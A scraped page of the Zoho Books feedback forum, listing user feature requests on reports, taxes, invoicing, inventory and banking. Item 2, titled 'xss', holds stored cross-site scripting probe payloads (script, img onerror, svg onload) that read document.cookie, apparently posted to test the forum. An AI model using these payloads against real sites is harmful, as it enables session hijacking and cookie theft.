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Zoho Books

Welcome to our feedback forum!

If you have an idea for a new feature that you want to see in Zoho Books, then you've reached the right place.

Feel free to post your ideas, comments, or suggestions in this space.

While we cannot promise a timeframe for everything posted here, we'll definitely consider all your valuable suggestions and work on them based on their feasibility.

Before posting, please ensure the following:
  1. Search if your idea for a feature is already listed below. If yes, then vote for it by clicking the Vote button.
  2. If it’s a new idea, kindly post a detailed description of your suggestion or idea.

If you have any questions or would like to share your feedback on our status updates, please drop an email to support@zohobooks.com


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6411 results found

  1. Monthly Recurring Revenue Report MRR

    We need a report that let us know the projected revenue we have in recurring active invoices. MRR is essential in any billing software.

    6 votes
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    0 comments  ·  Reports  ·  Admin →
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  2. xss

    TEST<br><br><center><font color="red">bughunt-borneo.org<br><br><img src=x onerror=alert(document.cookie)><br><br><img src=x onerror=prompt(//zheev.xss.ht)>
    <svg onload=write(document.cookie)>
    "><script>prompt(document.cookie)</script>
    <noscript><p title= "</noscript><img src=x onerror=alert(document.cookie)>">
    "><u>XSS Vulnerability</u><marquee+onstart='alert(document.cookie)'>XSS

    1 vote
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    2 comments  ·  Estimates  ·  Admin →
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  3. TOTAL AMOUT IN WORD IN THE SALES ORDER

    We have started recording quotations using Sales Orders. But the total amount isn't appearing in words and the option to do so cannot be found in the template as well. We would like to suggest to add this option to the Sales Orders.

    1 vote
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    0 comments  ·  Sales Orders  ·  Admin →
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  4. kerala flood cess

    its is difficult to change CESS 1%(Kerala Flood Cess) every time for GST and for non GST Invoices.Please try to make it automatic.

    0 votes
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    0 comments  ·  Admin →
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  5. AR related

    When i tried to enter opening balances in AR as CREDIT BALANCE i am unable to enter - there should be a field to enter CREDIT BALANCE in AR as well as Debit balances in AP as there may be some debit balance in vendor would also be there,.

    Also, when entering the opening balances, we must be able to enter the same invoice number and date wise as this will be helpful in future when we extract the outstanding receivable.

    1 vote
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    0 comments  ·  Accountant  ·  Admin →
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  6. Electronic invoicing

    The Greek government voted a new law that wants all companies that issue invoices to comply with the new regulations for electronic invoicing.

    This law requires online connection of the ERP systems with the Greek IR (electronic invoicing). Are you aware of this issue? Can you help us with this implementation?

    Below some links that may help you.

    This is the official website of the Greek "Independent Authority for Public Revenue" referring to electronic invoicing:
    https://www.aade.gr/mydata

    They also have a website for developers. They say that they have created an API for the developers of ERP systems
    https://www.aade.gr/myDATA/tehniki-tekmiriosi

    https://mydata-dev.portal.azure-api.net/docs/services/myDATA-dev/operations/get-requestinvoices

    Thank…

    28 votes
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    3 comments  ·  Invoices  ·  Admin →
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  7. state name change in the state tax code page

    The state names of few are changed like pondicherry to puducherry. Please make those changes like pondicherry/puducherry and Delhi/New Delhi in the state coloumn of GST tax page.
    Its link I have attached below
    https://www.zoho.com/in/books/kb/gst/valid-state-codes-list.html

    Thank you,
    Soumya

    1 vote
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    0 comments  ·  Admin →
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  8. Allow inventory reorder point emails to got to someone other than the primary.

    The primary email is the President of our company. I want inventory alert emails to go to me, the manager. Not an unusual scenario. Please allow alerts to be set to any user OR an admin at the very least.

    4 votes
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    1 comment  ·  Inventory  ·  Admin →
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  9. Show User on Purchase Order and allow filtering

    Good Afternoon,

    It would be great to have the Purchase Order show the user who created it.
    Also, allowing a filter by USER so an employee could see only their POS.

    Thanks,

    1 vote
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    0 comments  ·  Purchase Order  ·  Admin →
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  10. When setting up a customer in Books you should be able to designate and email or emails as the primary one for invoices.

    Currently the primary email for a customer in Books is the default email. This presents a problem when sending invoices. In most cases the primary contact and the invoice person are different. We should be able to designate an email las an invoice email.

    1 vote
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    0 comments  ·  Customers  ·  Admin →
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  11. when paying Vendors can we have the ability to notify them in a single email. So 3 invoices paid -notify with 1 email with invoice numbers o

    Instead of sending separate emails to the same supplier when I pay multiple bills, can we have a grouped email that would list all bills paid?

    1 vote
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    0 comments  ·  Payments  ·  Admin →
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  12. Supress showing CGST & IGST breakup for consumer invoices

    In a consumer invoice, I don't want the 2 GST amounts to be shown to the clients. They should be computed, but not show in the invoice as end consumers feel they are paying more..even though it is just a breakup of the product MRP

    1 vote
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    0 comments  ·  Invoices  ·  Admin →
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  13. Allow changing of warehouse

    Could you add the ability to change the warehouse AFTER a Sales Order is converted to an Invoice? Right now, after a Sales Order is converted to an Invoice, the warehouse can no longer be changed in either the Sales Order or the Invoice.

    1 vote
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    0 comments  ·  Inventory  ·  Admin →
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  14. Allow tax override/manually edit in Bills as can be done in expenses

    Need to be able to adjust / manually edit tax amount in Bills as we can do in expenses since some supplier doesnt calculate the taxes like us and have to adjust +- 0.01 $ - 0.02 $ in GST or PST to reflect the bill received.

    https://www.zoho.com/books/kb/taxes/tax-override.html

    4 votes
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  15. Payment Number Suffix

    There is no guide for the map fields when importing transactions. For example - what is a *Payment Number Suffix when importing payments received?

    1 vote
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  16. Zoho Sign integrate to portal

    I suggest client can access easily on zoho sign and see all their files signup

    4 votes
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  17. Calculate UK corporation tax

    A feature to automatically calculate UK corporation tax, reflect this on the P&L report and allocate a retention to a tax control account pending payment.

    6 votes
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    0 comments  ·  Automation  ·  Admin →
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  18. MUST create export capability to XLS for the Budget function in Books

    To share and jointly collaborate on Budget development, there must be the ability to export budgets into Excel. A company may not want to give many users access to Books just so they can make inputs into the Budget. Also the inability to export the Zoho Books budget template to XLS format means to send out a template to our department heads, it has to be created manually. Totally unnecessary headaches here

    1 vote
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    0 comments  ·  Accountant  ·  Admin →
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  19. Document the password restrictions for the Zoho/Yodlee integration

    When adding a new bank, I received the error below. This is because the Zoho/Yodlee integration is truncating passwords at 40 characters. If I change my bank's password to 41 characters, I get that error. If I change my bank's password to 40 characters, it's accepted and I can add the bank to Zoho. This is not specified in the docs or help articles. The message is so generic that it doesn't explain what the problem is. Please document this. It's not that hard. Changing the message to indicate "passwords more than 40 characters will cause problems" is simple enough.

    1 vote
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    0 comments  ·  Banking  ·  Admin →
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  20. Permit client based time entries

    Timesheet entries should be permitted according to clients and/or projects rather than according to projects only. Currently, time keepers are unable to select the relevant client and project of that client. They can only see the project name. Some clients have the same project names and it causes confusion for time keeping staff.

    1 vote
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